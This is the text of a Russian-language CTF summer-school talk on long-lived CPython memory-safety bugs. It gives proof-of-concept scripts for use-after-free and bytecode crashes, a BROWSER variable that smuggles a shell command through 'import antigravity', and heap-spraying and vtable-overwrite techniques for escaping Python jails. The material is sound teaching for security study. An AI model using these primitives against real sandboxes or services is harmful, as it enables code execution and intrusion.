



Долгоживущие уязвимости в CPython

Владимир Черепанов
Летняя Школа CTF 2026

Python vs CPython

- » Python — синтаксис языка
(каким он должен быть, какие в нём есть ключевые слова и т.д.)
<https://github.com/python/peps>
- » CPython — реализация языка
(как он устроен внутри, как работает парсинг и выполнение кода)
<https://github.com/python/cpython>
- » IronPython, Jython, PyPy, ...

CPython как интерфейс к Си

- » Интерпретируемые языки написаны на Си (PHP, Perl, Ruby), компилируемые языки написаны сами на себе (Go, Java, .NET, Rust)
- » Данные хранятся в Си, Python предоставляет интерфейс
- » Объекты Python однозначно соответствуют объектам Си
- » Синтаксический сахар для удобного управления памятью
- » `list` в Python это `std::vector` в C++

Безопасность CPython

- » Компилятор Rust (Go, etc) проверяет сам себя на наличие ошибок, кроме unsafe частей
- » В CPython весь код — unsafe, в том числе библиотеки
- » Фаззинг (OSS-Fuzz, Google's continuous fuzzing service)
 - Санитайзеры (asan, ubsan, etc)
 - Линтеры (для кода на Си)
 - Статический и динамический анализ
 - CVE (бесплатно)

Безопасность Python

- » type safety — не очень
type hints, validators (mypy, pydantic)
 - » memory safety — не очень
в коде на Python ошибок нет
ограничены кодом на Си, который очень старается всё проверять
 - » ctypes, cffi, mmap, etc
 - » а может Rust???
- Pre-PEP: Rust for CPython (2015)

Безопасность Python

- » Vulnerabilities must be exploitable from code, configurations, pre-conditions, or deployments that may exist in the real world. A vulnerability that only affects code unlikely to be used in a production program will not be accepted.
- » Vulnerabilities must not depend on malicious control of Python's launch conditions, including (but not limited to) command line arguments, environment variables, or modifications to files on the target system. We assume that, at the time Python is executed, the environment is as intended by the legitimate user, and any malicious variation from this cannot be mitigated by Python itself.

Python Jail

- » Поиск подстрок в коде
- » Разбор синтаксического дерева
- » Проверка / запрет байткода
- » Ограничение пакетов / урезание рантайма
- » monitoring / audit hooks

~~Python~~ CPython Jail

- » Don't try to build a sandbox inside CPython.
The good design is to put CPython into a sandbox, not the opposite.
- » ptrace
seccomp, apparmor
cgroups, namespaces (docker, kubernetes)
qemu

memoryview to freed memory can cause segfault (2012)

```
import io

class File(io.RawIOBase):
    def readinto(self, buf):
        global view
        view = buf
    def readable(self):
        return True

f = io.BufferedReader(File())
f.read(1)
del f
view = view.cast('P')
L = [None] * len(view)

view[0] = 0
print(L[0])
```

get view of buffer used by BufferedReader
deallocate buffer

create list whose array has same size
(this will probably coincide with view)

overwrite first item with NULL
segfault: dereferencing NULL

LOAD_FAST / LOAD_CONST (1995)



```
import types
import opcode

bytecode = bytes([
    opcode.opmap['LOAD_FAST'],
    125,
])

code = types.CodeType(
    ...
    bytecode,
    ...
)
eval(code)
# segmentation fault (core dumped)
```

Use-after-free in OrderedDict.copy via re-entrant `__getitem__` (2025)

```
from collections import OrderedDict

class Evil(OrderedDict):
    def __getitem__(self, key):
        super().clear()
        return None

# Trigger
Evil([(i, i) for i in range(4)]).copy()
```

vars's mapping proxy can expose internal dictionary even for built-in types (2026)



```
class Evil:
    def __eq__(self, other):
        return other

# less readable version of Evil:
# type("Evil", (), {"__eq__": lambda self, other: other})

# this statement adds a method `prepend` to the built-in type `list`
# 1. vars(list) == Evil() returns the underlying dictionary of `list`
# 2. we can then use the dict[name] = value statement to set the attribute `name`
(vars(list) == Evil())["prepend"] = lambda self, value: self.insert(0, value)

x = [3, 5, 2]
x.prepend(7)

print(x) # [7, 3, 5, 2]
```

import antigravity

```
import webbrowser
import hashlib

webbrowser.open("https://xkcd.com/353/")

def geohash(latitude, longitude, datedow):
    '''Compute geohash() using the Munroe algorithm.

    >>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68')
    37.857713 -122.544543

    ...

    # https://xkcd.com/426/
    h = hashlib.md5(datedow, usedforsecurity=False).hexdigest()
    p, q = [('%.f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])]
    print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:]))
```

import antigravity

```
BROWSER="/bin/sh -c 'touch /tmp/pwned' #%" \
python3 -c "import antigravity"
```

Почему не исправляют

- » Исправляют, если это несложно
- » Если нужно запустить произвольный код, это не уязвимость (по мнению мейнтейнеров CPython)
- » Не исправляют, если это оптимизация (LOAD_FAST, LOAD_CONST)
- » Не исправляют, если пользователь знает что делает (mmap)
- » Не исправляют, если не понятно что делать (buffered reader UAF)

Как эксплуатировать

- » CPython создаёт объекты в памяти Си и работает с ними
- » CPython использует библиотечный аллокатор (glibc malloc)
- » CPython хранит счётчик ссылок для сборки мусора
- » CPython обращается к базовому классу у всех объектов (vtable)
- » CPython использует mmap-страницы для своей кучи

Как эксплуатировать

```
+-----+
|               PyObject               |
+-----+
|  ob_refcnt : Reference Counter      |
|  ob_type   : Pointer to Type Object |
|-----|
| [Object-specific Data / Value]     |
+-----+
```

Как спреить кучу

```
>>> x = b'AAAAAAAAABBBBBBBB'
>>> hex(id(x))
'0x7ffff69b4670'
```

```
gef> x/32xg 0x7ffff69b4670
```

```
0x7ffff69b4670: 0x00000000000000000001
```

```
0x00007ffff7d185e0
```

```
0x7ffff69b4680: 0x00000000000000000010
```

```
0x58533ee1b2619d6c
```

```
0x7ffff69b4690: 0x4141414141414141
```

```
0x4242424242424242
```

```
gef> x/32xg 0x00007ffff7d185e0
```

```
0x7ffff7d185e0 <PyBytes_Type>: 0x00000000ffffffff
```

```
0x00007ffff7d32fa0
```

```
0x7ffff7d185f0 <PyBytes_Type+16>: 0x0000000000000000
```

```
0x00007ffff7b739a1
```

```
0x7ffff7d18600 <PyBytes_Type+32>: 0x0000000000000021
```

```
0x0000000000000001
```

```
0x7ffff7d18610 <PyBytes_Type+48>: 0x00007ffff798d010
```

```
0x0000000000000000
```

```
0x7ffff7d18620 <PyBytes_Type+64>: 0x0000000000000000
```

```
0x0000000000000000
```

```
0x7ffff7d18630 <PyBytes_Type+80>: 0x0000000000000000
```

```
0x00007ffff78f78a0
```

```
0x7ffff7d18640 <PyBytes_Type+96>: 0x00007ffff7d190a0
```

```
0x00007ffff7d19200
```

```
0x7ffff7d18650 <PyBytes_Type+112>: 0x00007ffff7d191d0
```

```
0x00007ffff78f12d0
```

Как спреить кучу

- » bytes: sys.stdin.buffer.readline()
- » str: input(), только ASCII диапазон (< \x80)

```
gef> x/32xg 0x7ffff6975930
```

```
0x7ffff6975930: 0x00000000000000000001
```

```
0x7ffff6975940: 0x00000000000000000020
```

```
0x7ffff6975950: 0x00007ffff69b4865
```

```
0x7ffff6975960: 0x4242424242424242
```

```
0x7ffff6975970: 0x4444444444444444
```

```
0x00007ffff7d35660
```

```
0x801d7b5a3dfd4541
```

```
0x4141414141414141
```

```
0x4343434343434343
```

```
0x0000271000000000
```

Как спреить кучу

» int, хранится как список 30-битных чисел

```
>>> x = 0x41414141424242424343434344444444
>>> hex(id(x))
'0x7ffff6a82790'
```

```
gef> x/32xg 0x7ffff6a82790
```

```
0x7ffff6a82790: 0x000000000000000000000001
```

```
0x00007ffff7d28ec0
```

```
0x7ffff6a827a0: 0x000000000000000000000028
```

```
0x0d0d0d0d0d04444444
```

```
0x7ffff6a827b0: 0x1050505024242424
```

```
0x00000000000000000041
```

Как спрейить кучу

» большие объекты создаются через библиотечный аллокатор

```
>>> x = b'A'*0x10000  
>>> hex(id(x))  
'0x5555557a21b0'
```

Как спреить стек

- » никак
- » CPython не хранит данные на стеке
- » но библиотеки могут хранить (gmpy2)

double free + UAF

- » выделяем list большого размера
- » освобождаем его чанк, сохраняя указатель
- » выделяем bytes / bytearray / str большого размера, он аллоцируется на месте list (first-fit)
- » контролируем указатели на элементы в списке

double free + UAF

```
>>> x = [1, 2, 3, 1000, 2000, 3000]
>>> hex(id(x))
'0x7ffff69b6380'
```

```
gef> x/32xg 0x7ffff69b6380
```

```
0x7ffff69b6380: 0x00000000000000000001
```

```
0x7ffff69b6390: 0x00000000000000000006
```

```
0x7ffff69b63a0: 0x00000000000000000006
```

```
0x7ffff69b63b0: 0x000007ffff6975b60
```

```
0x000007ffff7d28780
```

```
0x000007ffff77fa760
```

```
0x000007ffff700706d
```

```
0x000007ffff69d5390
```

```
gef> x/32xg 0x000007ffff77fa760
```

```
0x7ffff77fa760: 0x000007ffff7d55b48
```

```
0x7ffff77fa770: 0x000007ffff7d55b88
```

```
0x7ffff77fa780: 0x000007ffff695e7b0
```

```
0x000007ffff7d55b68
```

```
0x000007ffff695f3b0
```

```
0x000007ffff695e7f0
```


Интернирование в CPython

```
gef> xinfo 0x00007ffff7d55b48
```

```
xinfo: 0x7ffff7d55b48
```

```
Page: 0x00007ffff7d14000 → 0x00007ffff7d98000 (size=0x84000)
```

```
Permissions: rw-
```

```
Pathname: /root/.pyenv/versions/3.13.14/lib/libpython3.13.so.1.0
```

```
Offset (from page): 0x41b48
```

```
Inode: 0
```

```
Segment: .PyRuntime (0x00007ffff7d52460-0x00007ffff7d97770)
```

```
Offset (from segment): 0x36e8
```

```
Symbol: _PyRuntime+14056
```

```
gef> xinfo 0x00007ffff695f3b0
```

```
xinfo: 0x7ffff695f3b0
```

```
Page: 0x00007ffff6900000 → 0x00007ffff6c00000 (size=0x300000)
```

```
Permissions: rw-
```

```
Pathname:
```

```
Offset (from page): 0x5f3b0
```

```
Inode: 0
```

Интерпретирование в CPython

```
gef> x/32xg 0x00007ffff7d55b48
0x7ffff7d55b48 <_PyRuntime+14056>: 0x000000000fffffffff 0x00007ffff7d28ec0
0x7ffff7d55b58 <_PyRuntime+14072>: 0x00000000000000008 0x00000000000000001
0x7ffff7d55b68 <_PyRuntime+14088>: 0x000000000fffffffff 0x00007ffff7d28ec0
0x7ffff7d55b78 <_PyRuntime+14104>: 0x00000000000000008 0x00000000000000002
0x7ffff7d55b88 <_PyRuntime+14120>: 0x000000000fffffffff 0x00007ffff7d28ec0
0x7ffff7d55b98 <_PyRuntime+14136>: 0x00000000000000008 0x00000000000000003
0x7ffff7d55ba8 <_PyRuntime+14152>: 0x000000000fffffffff 0x00007ffff7d28ec0
0x7ffff7d55bb8 <_PyRuntime+14168>: 0x00000000000000008 0x00000000000000004
0x7ffff7d55bc8 <_PyRuntime+14184>: 0x000000000fffffffff 0x00007ffff7d28ec0
0x7ffff7d55bd8 <_PyRuntime+14200>: 0x00000000000000008 0x00000000000000005
0x7ffff7d55be8 <_PyRuntime+14216>: 0x000000000fffffffff 0x00007ffff7d28ec0
0x7ffff7d55bf8 <_PyRuntime+14232>: 0x00000000000000008 0x00000000000000006
0x7ffff7d55c08 <_PyRuntime+14248>: 0x000000000fffffffff 0x00007ffff7d28ec0
0x7ffff7d55c18 <_PyRuntime+14264>: 0x00000000000000008 0x00000000000000007
```

Перезапись vtable

```
PyTypeObject PyLong_Type = {
    PyVarObject_HEAD_INIT(&PyType_Type, 0)
    "int",                                /* tp_name */
    offsetof(PyLongObject, long_value.ob_digit), /* tp_basicsize */
    sizeof(digit),                        /* tp_itemsize */
    long_dealloc,                         /* tp_dealloc */
    0,                                    /* tp_vectorcall_offset */
    0,                                    /* tp_getattr */
    0,                                    /* tp_setattr */
    0,                                    /* tp_as_async */
    long_to_decimal_string,               /* tp_repr */
    &long_as_number,                      /* tp_as_number */
    0,                                    /* tp_as_sequence */
    0,                                    /* tp_as_mapping */
    long_hash,                            /* tp_hash */
    0,                                    /* tp_call */
    0,                                    /* tp_str */
```


Перезапись vtable

```
gef> x/32xg 0x7ffff6a82790
```

```
0x7ffff6a82790: 0x00000000000000000001      0x00007ffff6a827c0
0x7ffff6a827a0: 0x00000000000000000018      0x0505050501414141
0x7ffff6a827b0: 0xfffffffffff000000004      0x0000000000000000
0x7ffff6a827c0: 0x000000000fffffff      0x4242424242424242
0x7ffff6a827d0: 0x4242424242424242      0x4242424242424242
0x7ffff6a827e0: 0x4242424242424242      0x4242424242424242
0x7ffff6a827f0: 0x4242424242424242      0x4242424242424242
```

```
0x7ffff7960b5d <_Py_Dealloc+003d> mov     rax, rbx
0x7ffff7960b60 <_Py_Dealloc+0040> pop     rbx
0x7ffff7960b61 <_Py_Dealloc+0041> pop     rbp
→ 0x7ffff7960b62 <_Py_Dealloc+0042> jmp     rax
```

```
$rax : 0x4242424242424242 ("BBBBBBBB"?)
```

```
$rdi : 0x00007ffff6a82790 → 0x0000000000000000
```

Как ликать адреса

- » `id()` возвращает адрес объекта в памяти
- » `repr()` объектов кастомных классов

```
>>> class X:  
...     pass  
...  
>>> x = X()  
>>> print(x)  
<__main__.X object at 0x71a6a7055940>
```

- » стандартные техники (oob read, UAF, etc)
- » type confusion

Где искать гаджеты

- » libc, libm, ld, libreadline, etc
- » libpython3
- » termios, select, curses, etc
- » кусочки функций CPython (счётчик ссылок в rdi)

ССЫЛКИ

- » <https://python-security.readthedocs.io/security.html#sandbox>
- » <https://pwn.win/2022/05/11/python-buffered-reader.html>
- » <https://github.com/DavidBuchanan314/unsafe-python>
- » https://juliapoo.github.io/security/2021/05/29/load_fast-py3-vm.html
- » <https://github.com/python/cpython/issues/142734>
- » <https://github.com/python/cpython/issues/61392>
- » <https://github.com/python/cpython/issues/152405>



Вопросы?

@keltecc